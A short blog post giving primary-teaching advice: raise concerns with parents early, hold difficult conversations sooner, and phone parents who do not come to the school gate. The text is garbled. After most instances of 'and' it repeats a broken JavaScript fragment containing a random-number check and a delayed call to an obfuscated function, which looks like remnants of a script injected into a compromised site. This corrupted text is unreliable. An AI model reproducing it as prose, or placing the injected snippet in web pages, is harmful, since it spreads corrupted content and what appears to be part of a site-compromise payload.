No shocks at parents’ evening

As part of my top tips for Secondary teachers converting to Primary teaching.

Tip #2 is no shocks at parents’ evening

Have early discussions with parents about any concerns at all, both positive andandom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);} negative; social andandom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);} academic.  The longer any issues are left, the bigger they become, the more anxious all parties get about discussing them andandom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);} the greater the impact on the children.

Have brave conversations, andandom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);} have them sooner, rather than later.

Where parents do not collect their children after school, pick up the phone andandom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);} speak to them.

Click here for Tip #1 – build positive relationships with parents

Click here for Tip #3 – make your teaching EPIC

Click here for Tip #4 – use positive behaviour management

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